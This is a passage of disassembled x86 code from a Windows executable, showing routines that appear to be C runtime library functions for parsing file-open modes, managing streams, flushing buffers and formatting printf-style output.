		mov	ecx, 109h


loc_41BF4B:				; CODE XREF: sub_41BF0D+30j
		or	esi, 2


loc_41BF4E:				; CODE XREF: sub_41BF0D+37j
		push	1
		pop	edx


loc_41BF51:				; CODE XREF: sub_41BF0D+8Bj
					; sub_41BF0D+A0j ...
		mov	al, [edi+1]
		inc	edi
		cmp	al, bl
		jz	loc_41C040
		cmp	edx, ebx
		jz	loc_41C040
		movsx	eax, al
		cmp	eax, 54h
		jg	short loc_41BFDF
		jz	short loc_41BFCF
		sub	eax, 2Bh
		jz	short loc_41BFB9
		sub	eax, 19h
		jz	short loc_41BFAF
		sub	eax, 0Eh
		jz	short loc_41BF9A
		dec	eax
		jnz	loc_41C031
		cmp	[ebp+var_4], ebx
		jnz	loc_41C031
		mov	[ebp+var_4], 1
		or	ecx, 20h
		jmp	short loc_41BF51
; ---------------------------------------------------------------------------


loc_41BF9A:				; CODE XREF: sub_41BF0D+6Fj
		cmp	[ebp+var_4], ebx
		jnz	loc_41C031
		mov	[ebp+var_4], 1
		or	ecx, 10h
		jmp	short loc_41BF51
; ---------------------------------------------------------------------------


loc_41BFAF:				; CODE XREF: sub_41BF0D+6Aj
		test	cl, 40h
		jnz	short loc_41C031
		or	ecx, 40h
		jmp	short loc_41BF51
; ---------------------------------------------------------------------------


loc_41BFB9:				; CODE XREF: sub_41BF0D+65j
		test	cl, 2
		jnz	short loc_41C031
		and	ecx, 0FFFFFFFEh
		and	esi, 0FFFFFFFCh
		or	ecx, 2
		or	esi, 80h
		jmp	short loc_41BF51
; ---------------------------------------------------------------------------


loc_41BFCF:				; CODE XREF: sub_41BF0D+60j
		mov	eax, 1000h
		test	ecx, eax
		jnz	short loc_41C031
		or	ecx, eax
		jmp	loc_41BF51
; ---------------------------------------------------------------------------


loc_41BFDF:				; CODE XREF: sub_41BF0D+5Ej
		sub	eax, 62h
		jz	short loc_41C02C
		dec	eax
		jz	short loc_41C015
		sub	eax, 0Bh
		jz	short loc_41BFFE
		sub	eax, 6
		jnz	short loc_41C031
		test	ch, 0C0h
		jnz	short loc_41C031
		or	ch, 40h
		jmp	loc_41BF51
; ---------------------------------------------------------------------------


loc_41BFFE:				; CODE XREF: sub_41BF0D+DDj
		cmp	[ebp+var_8], ebx
		jnz	short loc_41C031
		mov	[ebp+var_8], 1
		and	esi, 0FFFFBFFFh
		jmp	loc_41BF51
; ---------------------------------------------------------------------------


loc_41C015:				; CODE XREF: sub_41BF0D+D8j
		cmp	[ebp+var_8], ebx
		jnz	short loc_41C031
		mov	[ebp+var_8], 1
		or	esi, 4000h
		jmp	loc_41BF51
; ---------------------------------------------------------------------------


loc_41C02C:				; CODE XREF: sub_41BF0D+D5j
		test	ch, 0C0h
		jz	short loc_41C038


loc_41C031:				; CODE XREF: sub_41BF0D+72j
					; sub_41BF0D+7Bj ...
		xor	edx, edx
		jmp	loc_41BF51
; ---------------------------------------------------------------------------


loc_41C038:				; CODE XREF: sub_41BF0D+122j
		or	ch, 80h
		jmp	loc_41BF51
; ---------------------------------------------------------------------------


loc_41C040:				; CODE XREF: sub_41BF0D+4Aj
					; sub_41BF0D+52j
		push	1A4h
		push	[ebp+arg_8]
		push	ecx
		push	[ebp+arg_0]
		call	sub_42063B
		mov	ecx, eax
		add	esp, 10h
		cmp	ecx, ebx
		jge	short loc_41C05E


loc_41C05A:				; CODE XREF: sub_41BF0D+25j
		xor	eax, eax
		jmp	short loc_41C078
; ---------------------------------------------------------------------------


loc_41C05E:				; CODE XREF: sub_41BF0D+14Bj
		mov	eax, [ebp+arg_C]
		inc	dword_4DCE4C
		mov	[eax+0Ch], esi
		mov	[eax+4], ebx
		mov	[eax], ebx
		mov	[eax+8], ebx
		mov	[eax+1Ch], ebx
		mov	[eax+10h], ecx


loc_41C078:				; CODE XREF: sub_41BF0D+14Fj
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41BF0D	endp


; =============== S U B	R O U T	I N E =======================================



sub_41C07D	proc near		; CODE XREF: sub_418202p
		mov	edx, dword_4DE1C0
		push	ebx
		push	ebp
		push	esi
		xor	ebp, ebp
		xor	esi, esi
		xor	eax, eax
		cmp	edx, ebp
		push	edi
		jle	short loc_41C0EE
		mov	ebx, dword_4DD1A4
		mov	edi, ebx


loc_41C099:				; CODE XREF: sub_41C07D+2Ej
		mov	ecx, [edi]
		cmp	ecx, ebp
		jz	short loc_41C0B4
		test	byte ptr [ecx+0Ch], 83h
		jz	short loc_41C0AF
		inc	eax
		add	edi, 4
		cmp	eax, edx
		jl	short loc_41C099
		jmp	short loc_41C0EE
; ---------------------------------------------------------------------------


loc_41C0AF:				; CODE XREF: sub_41C07D+26j
		mov	esi, [ebx+eax*4]
		jmp	short loc_41C0D8
; ---------------------------------------------------------------------------


loc_41C0B4:				; CODE XREF: sub_41C07D+20j
		mov	edi, eax
		push	20h
		shl	edi, 2
		call	sub_418235
		pop	ecx
		mov	ecx, dword_4DD1A4
		mov	[edi+ecx], eax
		mov	eax, dword_4DD1A4
		mov	edi, [edi+eax]
		cmp	edi, ebp
		jz	short loc_41C0EE
		mov	esi, edi


loc_41C0D8:				; CODE XREF: sub_41C07D+35j
		cmp	esi, ebp
		jz	short loc_41C0EE
		or	dword ptr [esi+10h], 0FFFFFFFFh
		mov	[esi+4], ebp
		mov	[esi+0Ch], ebp
		mov	[esi+8], ebp
		mov	[esi], ebp
		mov	[esi+1Ch], ebp


loc_41C0EE:				; CODE XREF: sub_41C07D+12j
					; sub_41C07D+30j ...
		mov	eax, esi
		pop	edi
		pop	esi
		pop	ebp
		pop	ebx
		retn
sub_41C07D	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C0F5	proc near		; CODE XREF: sub_41844E+17p
					; sub_41844E+58p ...

var_4		= byte ptr -4
var_3		= byte ptr -3
var_2		= byte ptr -2
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		mov	eax, [ebp+arg_0]
		lea	ecx, [eax+1]
		cmp	ecx, 100h
		ja	short loc_41C113
		mov	ecx, off_43F288
		movzx	eax, word ptr [ecx+eax*2]
		jmp	short loc_41C165
; ---------------------------------------------------------------------------


loc_41C113:				; CODE XREF: sub_41C0F5+10j
		mov	ecx, eax
		push	esi
		mov	esi, off_43F288
		sar	ecx, 8
		movzx	edx, cl
		test	byte ptr [esi+edx*2+1],	80h
		pop	esi
		jz	short loc_41C138
		and	[ebp+var_2], 0
		mov	[ebp+var_4], cl
		mov	[ebp+var_3], al
		push	2
		jmp	short loc_41C141
; ---------------------------------------------------------------------------


loc_41C138:				; CODE XREF: sub_41C0F5+33j
		and	[ebp+var_3], 0
		mov	[ebp+var_4], al
		push	1


loc_41C141:				; CODE XREF: sub_41C0F5+41j
		pop	eax
		lea	ecx, [ebp+arg_0+2]
		push	1
		push	0
		push	0
		push	ecx
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	1
		call	sub_4208F4
		add	esp, 1Ch
		test	eax, eax
		jnz	short loc_41C161
		leave
		retn
; ---------------------------------------------------------------------------


loc_41C161:				; CODE XREF: sub_41C0F5+68j
		movzx	eax, word ptr [ebp+arg_0+2]


loc_41C165:				; CODE XREF: sub_41C0F5+1Cj
		and	eax, [ebp+arg_4]
		leave
		retn
sub_41C0F5	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C16A	proc near		; CODE XREF: sub_4185E6+46p
					; sub_4186E0+45p ...

arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ebx
		push	esi
		mov	esi, [ebp+arg_4]
		mov	eax, [esi+0Ch]
		mov	ebx, [esi+10h]
		test	al, 82h
		jz	loc_41C273
		test	al, 40h
		jnz	loc_41C273
		test	al, 1
		jz	short loc_41C1A2
		and	dword ptr [esi+4], 0
		test	al, 10h
		jz	loc_41C273
		mov	ecx, [esi+8]
		and	al, 0FEh
		mov	[esi], ecx
		mov	[esi+0Ch], eax


loc_41C1A2:				; CODE XREF: sub_41C16A+20j
		mov	eax, [esi+0Ch]
		and	dword ptr [esi+4], 0
		and	[ebp+arg_4], 0
		and	al, 0EFh
		or	al, 2
		test	ax, 10Ch
		mov	[esi+0Ch], eax
		jnz	short loc_41C1DC
		cmp	esi, offset dword_43F878
		jz	short loc_41C1CA
		cmp	esi, offset dword_43F898
		jnz	short loc_41C1D5


loc_41C1CA:				; CODE XREF: sub_41C16A+56j
		push	ebx
		call	sub_420A3D
		test	eax, eax
		pop	ecx
		jnz	short loc_41C1DC


loc_41C1D5:				; CODE XREF: sub_41C16A+5Ej
		push	esi
		call	sub_4205F7
		pop	ecx


loc_41C1DC:				; CODE XREF: sub_41C16A+4Ej
					; sub_41C16A+69j
		test	word ptr [esi+0Ch], 108h
		push	edi
		jz	short loc_41C249
		mov	eax, [esi+8]
		mov	edi, [esi]
		sub	edi, eax
		lea	ecx, [eax+1]
		mov	[esi], ecx
		mov	ecx, [esi+18h]
		dec	ecx
		test	edi, edi
		mov	[esi+4], ecx
		jle	short loc_41C20C
		push	edi
		push	eax
		push	ebx
		call	sub_42044A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax
		jmp	short loc_41C23F
; ---------------------------------------------------------------------------


loc_41C20C:				; CODE XREF: sub_41C16A+90j
		cmp	ebx, 0FFFFFFFFh
		jz	short loc_41C227
		mov	eax, ebx
		mov	ecx, ebx
		sar	eax, 5
		and	ecx, 1Fh
		mov	eax, dword_4DD0A0[eax*4]
		lea	eax, [eax+ecx*8]
		jmp	short loc_41C22C
; ---------------------------------------------------------------------------


loc_41C227:				; CODE XREF: sub_41C16A+A5j
		mov	eax, offset dword_43FB60


loc_41C22C:				; CODE XREF: sub_41C16A+BBj
		test	byte ptr [eax+4], 20h
		jz	short loc_41C23F
		push	2
		push	0
		push	ebx
		call	sub_41F3C4
		add	esp, 0Ch


loc_41C23F:				; CODE XREF: sub_41C16A+A0j
					; sub_41C16A+C6j
		mov	eax, [esi+8]
		mov	cl, byte ptr [ebp+arg_0]
		mov	[eax], cl
		jmp	short loc_41C25D
; ---------------------------------------------------------------------------


loc_41C249:				; CODE XREF: sub_41C16A+79j
		push	1
		lea	eax, [ebp+arg_0]
		pop	edi
		push	edi
		push	eax
		push	ebx
		call	sub_42044A
		add	esp, 0Ch
		mov	[ebp+arg_4], eax


loc_41C25D:				; CODE XREF: sub_41C16A+DDj
		cmp	[ebp+arg_4], edi
		pop	edi
		jz	short loc_41C269
		or	dword ptr [esi+0Ch], 20h
		jmp	short loc_41C278
; ---------------------------------------------------------------------------


loc_41C269:				; CODE XREF: sub_41C16A+F7j
		mov	eax, [ebp+arg_0]
		and	eax, 0FFh
		jmp	short loc_41C27B
; ---------------------------------------------------------------------------


loc_41C273:				; CODE XREF: sub_41C16A+10j
					; sub_41C16A+18j ...
		or	al, 20h
		mov	[esi+0Ch], eax


loc_41C278:				; CODE XREF: sub_41C16A+FDj
		or	eax, 0FFFFFFFFh


loc_41C27B:				; CODE XREF: sub_41C16A+107j
		pop	esi
		pop	ebx
		pop	ebp
		retn
sub_41C16A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41C27F	proc near		; CODE XREF: sub_4185E6+29p
					; sub_4186E0+28p ...

var_248		= byte ptr -248h
var_247		= byte ptr -247h
var_49		= byte ptr -49h
var_48		= dword	ptr -48h
var_44		= dword	ptr -44h
var_40		= dword	ptr -40h
var_3C		= dword	ptr -3Ch
var_38		= byte ptr -38h
var_34		= dword	ptr -34h
var_30		= dword	ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_16		= byte ptr -16h
var_15		= byte ptr -15h
var_14		= dword	ptr -14h
var_10		= dword	ptr -10h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 248h
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		xor	esi, esi
		mov	bl, [edi]
		inc	edi
		test	bl, bl
		mov	[ebp+var_C], esi
		mov	[ebp+var_14], esi
		mov	[ebp+arg_4], edi
		jz	loc_41C998
		mov	ecx, [ebp+var_10]
		xor	edx, edx
		jmp	short loc_41C2B3
; ---------------------------------------------------------------------------


loc_41C2AB:				; CODE XREF: sub_41C27F+713j
		mov	ecx, [ebp+var_10]
		mov	esi, [ebp+var_30]
		xor	edx, edx


loc_41C2B3:				; CODE XREF: sub_41C27F+2Aj
		cmp	[ebp+var_14], edx
		jl	loc_41C998
		cmp	bl, 20h
		jl	short loc_41C2D4
		cmp	bl, 78h
		jg	short loc_41C2D4
		movsx	eax, bl
		mov	al, [eax+424724h]
		and	eax, 0Fh
		jmp	short loc_41C2D6
; ---------------------------------------------------------------------------


loc_41C2D4:				; CODE XREF: sub_41C27F+40j
					; sub_41C27F+45j
		xor	eax, eax


loc_41C2D6:				; CODE XREF: sub_41C27F+53j
		movsx	eax, byte_424744[esi+eax*8]
		sar	eax, 4
		cmp	eax, 7		; switch 8 cases
		mov	[ebp+var_30], eax
		ja	loc_41C987	; default
		jmp	off_41C9A0[eax*4] ; switch jump


loc_41C2F4:				; DATA XREF: .nsp0:off_41C9A0o
		or	[ebp+var_10], 0FFFFFFFFh ; jumptable 0041C2ED case 1
		mov	[ebp+var_34], edx
		mov	[ebp+var_28], edx
		mov	[ebp+var_20], edx
		mov	[ebp+var_1C], edx
		mov	[ebp+var_4], edx
		mov	[ebp+var_24], edx
		jmp	loc_41C987	; default
; ---------------------------------------------------------------------------


loc_41C30F:				; CODE XREF: sub_41C27F+6Ej
					; DATA XREF: .nsp0:off_41C9A0o
		movsx	eax, bl		; jumptable 0041C2ED case 2
		sub	eax, 20h
		jz	short loc_41C352
		sub	eax, 3
		jz	short loc_41C349
		sub	eax, 8
		jz	short loc_41C340
		dec	eax
		dec	eax
		jz	short loc_41C337
		sub	eax, 3
		jnz	loc_41C987	; default
		or	[ebp+var_4], 8
		jmp	loc_41C987	; default
; ---------------------------------------------------------------------------


loc_41C337:				; CODE XREF: sub_41C27F+A4j
		or	[ebp+var_4], 4
		jmp	loc_41C987	; default
; ---------------------------------------------------------------------------


loc_41C340:				; CODE XREF: sub_41C27F+A0j
		or	[ebp+var_4], 1
		jmp	loc_41C987	; default
; ---------------------------------------------------------------------------


loc_41C349:				; CODE XREF: sub_41C27F+9Bj
		or	byte ptr [ebp+var_4], 80h
		jmp	loc_41C987	; default
; ---------------------------------------------------------------------------


loc_41C352:				; CODE XREF: sub_41C27F+96j
		or	[ebp+var_4], 2
		jmp	loc_41C987	; default
; ---------------------------------------------------------------------------


loc_41C35B:				; CODE XREF: sub_41C27F+6Ej
					; DATA XREF: .nsp0:off_41C9A0o
		cmp	bl, 2Ah		; jumptable 0041C2ED case 3
		jnz	short loc_41C383
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41CA5E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_20], eax
		jge	loc_41C987	; default
		or	[ebp+var_4], 4
		neg	eax


loc_41C37B:				; CODE XREF: sub_41C27F+111j
		mov	[ebp+var_20], eax
		jmp	loc_41C987	; default
; ---------------------------------------------------------------------------


loc_41C383:				; CODE XREF: sub_41C27F+DFj
		mov	eax, [ebp+var_20]
		movsx	ecx, bl
		lea	eax, [eax+eax*4]
		lea	eax, [ecx+eax*2-30h]
		jmp	short loc_41C37B
; ---------------------------------------------------------------------------


loc_41C392:				; CODE XREF: sub_41C27F+6Ej
					; DATA XREF: .nsp0:off_41C9A0o
		mov	[ebp+var_10], edx ; jumptable 0041C2ED case 4
		jmp	loc_41C987	; default
; ---------------------------------------------------------------------------


loc_41C39A:				; CODE XREF: sub_41C27F+6Ej
					; DATA XREF: .nsp0:off_41C9A0o
		cmp	bl, 2Ah		; jumptable 0041C2ED case 5
		jnz	short loc_41C3BD
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41CA5E
		test	eax, eax
		pop	ecx
		mov	[ebp+var_10], eax
		jge	loc_41C987	; default
		or	[ebp+var_10], 0FFFFFFFFh
		jmp	loc_41C987	; default
; ---------------------------------------------------------------------------


loc_41C3BD:				; CODE XREF: sub_41C27F+11Ej
		lea	eax, [ecx+ecx*4]
		movsx	ecx, bl
		lea	eax, [ecx+eax*2-30h]
		mov	[ebp+var_10], eax
		jmp	loc_41C987	; default
; ---------------------------------------------------------------------------


loc_41C3CF:				; CODE XREF: sub_41C27F+6Ej
					; DATA XREF: .nsp0:off_41C9A0o
		cmp	bl, 49h		; jumptable 0041C2ED case 6
		jz	short loc_41C402
		cmp	bl, 68h
		jz	short loc_41C3F9
		cmp	bl, 6Ch
		jz	short loc_41C3F0
		cmp	bl, 77h
		jnz	loc_41C987	; default
		or	byte ptr [ebp+var_4+1],	8
		jmp	loc_41C987	; default
; ---------------------------------------------------------------------------


loc_41C3F0:				; CODE XREF: sub_41C27F+15Dj
		or	[ebp+var_4], 10h
		jmp	loc_41C987	; default
; ---------------------------------------------------------------------------


loc_41C3F9:				; CODE XREF: sub_41C27F+158j
		or	[ebp+var_4], 20h
		jmp	loc_41C987	; default
; ---------------------------------------------------------------------------


loc_41C402:				; CODE XREF: sub_41C27F+153j
		cmp	byte ptr [edi],	36h
		jnz	short loc_41C41B
		cmp	byte ptr [edi+1], 34h
		jnz	short loc_41C41B
		inc	edi
		inc	edi
		or	byte ptr [ebp+var_4+1],	80h
		mov	[ebp+arg_4], edi
		jmp	loc_41C987	; default
; ---------------------------------------------------------------------------


loc_41C41B:				; CODE XREF: sub_41C27F+186j
					; sub_41C27F+18Cj
		mov	[ebp+var_30], edx


loc_41C41E:				; CODE XREF: sub_41C27F+6Ej
					; DATA XREF: .nsp0:off_41C9A0o
		mov	ecx, off_43F288	; jumptable 0041C2ED case 0
		mov	[ebp+var_24], edx
		movzx	eax, bl
		test	byte ptr [ecx+eax*2+1],	80h
		jz	short loc_41C44A
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41C9C0
		mov	bl, [edi]
		add	esp, 0Ch
		inc	edi
		mov	[ebp+arg_4], edi


loc_41C44A:				; CODE XREF: sub_41C27F+1B0j
		lea	eax, [ebp+var_14]
		push	eax
		push	[ebp+arg_0]
		movsx	eax, bl
		push	eax
		call	sub_41C9C0
		add	esp, 0Ch
		jmp	loc_41C987	; default
; ---------------------------------------------------------------------------


loc_41C462:				; CODE XREF: sub_41C27F+6Ej
					; DATA XREF: .nsp0:off_41C9A0o
		movsx	eax, bl		; jumptable 0041C2ED case 7
		cmp	eax, 67h
		jg	loc_41C68A
		cmp	eax, 65h
		jge	loc_41C50D
		cmp	eax, 58h
		jg	loc_41C56B
		jz	loc_41C6FE
		sub	eax, 43h
		jz	loc_41C52E
		dec	eax
		dec	eax
		jz	short loc_41C503
		dec	eax
		dec	eax
		jz	short loc_41C503
		sub	eax, 0Ch
		jnz	loc_41C889
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41C4AC
		or	byte ptr [ebp+var_4+1],	8


loc_41C4AC:				; CODE XREF: sub_41C27F+227j
					; sub_41C27F+42Aj
		mov	esi, [ebp+var_10]
		cmp	esi, 0FFFFFFFFh
		jnz	short loc_41C4B9
		mov	esi, 7FFFFFFFh


loc_41C4B9:				; CODE XREF: sub_41C27F+233j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41CA5E
		test	word ptr [ebp+var_4], 810h
		pop	ecx
		mov	ecx, eax
		mov	[ebp+var_8], ecx
		jz	loc_41C6D2
		test	ecx, ecx
		jnz	short loc_41C4E1
		mov	ecx, off_43F4A4
		mov	[ebp+var_8], ecx


loc_41C4E1:				; CODE XREF: sub_41C27F+257j
		mov	[ebp+var_24], 1
		mov	eax, ecx


loc_41C4EA:				; CODE XREF: sub_41C27F+282j
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	loc_41C6C9
		cmp	word ptr [eax],	0
		jz	loc_41C6C9
		inc	eax
		inc	eax
		jmp	short loc_41C4EA
; ---------------------------------------------------------------------------


loc_41C503:				; CODE XREF: sub_41C27F+212j
					; sub_41C27F+216j
		mov	[ebp+var_34], 1
		add	bl, 20h


loc_41C50D:				; CODE XREF: sub_41C27F+1F2j
		or	[ebp+var_4], 40h
		lea	edi, [ebp+var_248]
		cmp	ecx, edx
		mov	[ebp+var_8], edi
		jge	loc_41C5F1
		mov	[ebp+var_10], 6
		jmp	loc_41C5FF
; ---------------------------------------------------------------------------


loc_41C52E:				; CODE XREF: sub_41C27F+20Aj
		test	word ptr [ebp+var_4], 830h
		jnz	short loc_41C53A
		or	byte ptr [ebp+var_4+1],	8


loc_41C53A:				; CODE XREF: sub_41C27F+2B5j
					; sub_41C27F+2F4j
		test	word ptr [ebp+var_4], 810h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41C581
		call	sub_41CA7B
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		call	sub_420A63
		add	esp, 0Ch
		mov	[ebp+var_C], eax
		test	eax, eax
		jge	short loc_41C594
		mov	[ebp+var_28], 1
		jmp	short loc_41C594
; ---------------------------------------------------------------------------


loc_41C56B:				; CODE XREF: sub_41C27F+1FBj
		sub	eax, 5Ah
		jz	short loc_41C5A2
		sub	eax, 9
		jz	short loc_41C53A
		dec	eax
		jz	loc_41C764
		jmp	loc_41C889
; ---------------------------------------------------------------------------


loc_41C581:				; CODE XREF: sub_41C27F+2C5j
		call	sub_41CA5E
		pop	ecx
		mov	[ebp+var_248], al
		mov	[ebp+var_C], 1


loc_41C594:				; CODE XREF: sub_41C27F+2E1j
					; sub_41C27F+2EAj
		lea	eax, [ebp+var_248]
		mov	[ebp+var_8], eax
		jmp	loc_41C889
; ---------------------------------------------------------------------------


loc_41C5A2:				; CODE XREF: sub_41C27F+2EFj
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41CA5E
		test	eax, eax
		pop	ecx
		jz	short loc_41C5E3
		mov	ecx, [eax+4]
		test	ecx, ecx
		jz	short loc_41C5E3
		test	byte ptr [ebp+var_4+1],	8
		jz	short loc_41C5D4
		movsx	eax, word ptr [eax]
		shr	eax, 1
		mov	[ebp+var_8], ecx
		mov	[ebp+var_C], eax
		mov	[ebp+var_24], 1
		jmp	loc_41C889
; ---------------------------------------------------------------------------


loc_41C5D4:				; CODE XREF: sub_41C27F+33Cj
		and	[ebp+var_24], 0
		mov	[ebp+var_8], ecx
		movsx	eax, word ptr [eax]
		jmp	loc_41C886
; ---------------------------------------------------------------------------


loc_41C5E3:				; CODE XREF: sub_41C27F+32Fj
					; sub_41C27F+336j
		mov	eax, off_43F4A0
		mov	[ebp+var_8], eax
		push	eax
		jmp	loc_41C67F
; ---------------------------------------------------------------------------


loc_41C5F1:				; CODE XREF: sub_41C27F+29Dj
		jnz	short loc_41C5FF
		cmp	bl, 67h
		jnz	short loc_41C5FF
		mov	[ebp+var_10], 1


loc_41C5FF:				; CODE XREF: sub_41C27F+2AAj
					; sub_41C27F:loc_41C5F1j ...
		mov	eax, [ebp+arg_8]
		push	[ebp+var_34]
		add	eax, 8
		mov	[ebp+arg_8], eax
		push	[ebp+var_10]
		mov	ecx, [eax-8]
		mov	[ebp+var_48], ecx
		mov	eax, [eax-4]
		mov	[ebp+var_44], eax
		movsx	eax, bl
		push	eax
		lea	eax, [ebp+var_248]
		push	eax
		lea	eax, [ebp+var_48]
		push	eax
		call	off_43F830
		mov	esi, [ebp+var_4]
		add	esp, 14h
		and	esi, 80h
		jz	short loc_41C651
		cmp	[ebp+var_10], 0
		jnz	short loc_41C651
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43F83C
		pop	ecx


loc_41C651:				; CODE XREF: sub_41C27F+3BCj
					; sub_41C27F+3C2j
		cmp	bl, 67h
		jnz	short loc_41C668
		test	esi, esi
		jnz	short loc_41C668
		lea	eax, [ebp+var_248]
		push	eax
		call	off_43F834
		pop	ecx


loc_41C668:				; CODE XREF: sub_41C27F+3D5j
					; sub_41C27F+3D9j
		cmp	[ebp+var_248], 2Dh
		jnz	short loc_41C67E
		or	byte ptr [ebp+var_4+1],	1
		lea	edi, [ebp+var_247]
		mov	[ebp+var_8], edi


loc_41C67E:				; CODE XREF: sub_41C27F+3F0j
		push	edi


loc_41C67F:				; CODE XREF: sub_41C27F+36Dj
		call	sub_417D40
		pop	ecx
		jmp	loc_41C886
; ---------------------------------------------------------------------------


loc_41C68A:				; CODE XREF: sub_41C27F+1E9j
		sub	eax, 69h
		jz	loc_41C764
		sub	eax, 5
		jz	loc_41C73A
		dec	eax
		jz	loc_41C727
		dec	eax
		jz	short loc_41C6F7
		sub	eax, 3
		jz	loc_41C4AC
		dec	eax
		dec	eax
		jz	loc_41C768
		sub	eax, 3
		jnz	loc_41C889
		mov	[ebp+var_2C], 27h
		jmp	short loc_41C705
; ---------------------------------------------------------------------------


loc_41C6C9:				; CODE XREF: sub_41C27F+270j
					; sub_41C27F+27Aj
		sub	eax, ecx
		sar	eax, 1
		jmp	loc_41C886
; ---------------------------------------------------------------------------


loc_41C6D2:				; CODE XREF: sub_41C27F+24Fj
		test	ecx, ecx
		jnz	short loc_41C6DF
		mov	ecx, off_43F4A0
		mov	[ebp+var_8], ecx


loc_41C6DF:				; CODE XREF: sub_41C27F+455j
		mov	eax, ecx


loc_41C6E1:				; CODE XREF: sub_41C27F+46Fj
		mov	edx, esi
		dec	esi
		test	edx, edx
		jz	short loc_41C6F0
		cmp	byte ptr [eax],	0
		jz	short loc_41C6F0
		inc	eax
		jmp	short loc_41C6E1
; ---------------------------------------------------------------------------


loc_41C6F0:				; CODE XREF: sub_41C27F+467j
					; sub_41C27F+46Cj
		sub	eax, ecx
		jmp	loc_41C886
; ---------------------------------------------------------------------------


loc_41C6F7:				; CODE XREF: sub_41C27F+425j
		mov	[ebp+var_10], 8


loc_41C6FE:				; CODE XREF: sub_41C27F+201j
		mov	[ebp+var_2C], 7


loc_41C705:				; CODE XREF: sub_41C27F+448j
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 10h
		jz	short loc_41C76F
		mov	al, byte ptr [ebp+var_2C]
		mov	[ebp+var_16], 30h
		add	al, 51h
		mov	[ebp+var_1C], 2
		mov	[ebp+var_15], al
		jmp	short loc_41C76F
; ---------------------------------------------------------------------------


loc_41C727:				; CODE XREF: sub_41C27F+41Ej
		test	byte ptr [ebp+var_4], 80h
		mov	[ebp+var_C], 8
		jz	short loc_41C76F
		or	byte ptr [ebp+var_4+1],	2
		jmp	short loc_41C76F
; ---------------------------------------------------------------------------


loc_41C73A:				; CODE XREF: sub_41C27F+417j
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41CA5E
		test	byte ptr [ebp+var_4], 20h
		pop	ecx
		jz	short loc_41C753
		mov	cx, word ptr [ebp+var_14]
		mov	[eax], cx
		jmp	short loc_41C758
; ---------------------------------------------------------------------------


loc_41C753:				; CODE XREF: sub_41C27F+4C9j
		mov	ecx, [ebp+var_14]
		mov	[eax], ecx


loc_41C758:				; CODE XREF: sub_41C27F+4D2j
		mov	[ebp+var_28], 1
		jmp	loc_41C987	; default
; ---------------------------------------------------------------------------


loc_41C764:				; CODE XREF: sub_41C27F+2F7j
					; sub_41C27F+40Ej
		or	[ebp+var_4], 40h


loc_41C768:				; CODE XREF: sub_41C27F+432j
		mov	[ebp+var_C], 0Ah


loc_41C76F:				; CODE XREF: sub_41C27F+491j
					; sub_41C27F+4A6j ...
		test	byte ptr [ebp+var_4+1],	80h
		jz	short loc_41C781
		lea	eax, [ebp+arg_8]
		push	eax
		call	sub_41CA6B
		pop	ecx
		jmp	short loc_41C7C2
; ---------------------------------------------------------------------------


loc_41C781:				; CODE XREF: sub_41C27F+4F4j
		test	byte ptr [ebp+var_4], 20h
		jz	short loc_41C7A8
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41C79D
		call	sub_41CA5E
		pop	ecx
		movsx	eax, ax


loc_41C79A:				; CODE XREF: sub_41C27F+527j
					; sub_41C27F+539j
		cdq
		jmp	short loc_41C7C2
; ---------------------------------------------------------------------------


loc_41C79D:				; CODE XREF: sub_41C27F+510j
		call	sub_41CA5E
		pop	ecx
		movzx	eax, ax
		jmp	short loc_41C79A
; ---------------------------------------------------------------------------


loc_41C7A8:				; CODE XREF: sub_41C27F+506j
		test	byte ptr [ebp+var_4], 40h
		lea	eax, [ebp+arg_8]
		push	eax
		jz	short loc_41C7BA
		call	sub_41CA5E
		pop	ecx
		jmp	short loc_41C79A
; ---------------------------------------------------------------------------


loc_41C7BA:				; CODE XREF: sub_41C27F+531j
		call	sub_41CA5E
		pop	ecx
		xor	edx, edx


loc_41C7C2:				; CODE XREF: sub_41C27F+500j
					; sub_41C27F+51Cj
		test	byte ptr [ebp+var_4], 40h
		jz	short loc_41C7E3
		test	edx, edx
		jg	short loc_41C7E3
		jl	short loc_41C7D2
		test	eax, eax
		jnb	short loc_41C7E3


loc_41C7D2:				; CODE XREF: sub_41C27F+54Dj
		neg	eax
		adc	edx, 0
		mov	esi, eax
		neg	edx
		or	byte ptr [ebp+var_4+1],	1
		mov	edi, edx
		jmp	short loc_41C7E7
; ---------------------------------------------------------------------------


loc_41C7E3:				; CODE XREF: sub_41C27F+547j
					; sub_41C27F+54Bj ...
		mov	esi, eax
		mov	edi, edx


loc_41C7E7:				; CODE XREF: sub_41C27F+562j
		test	byte ptr [ebp+var_4+1],	80h
		jnz	short loc_41C7F0
		and	edi, 0


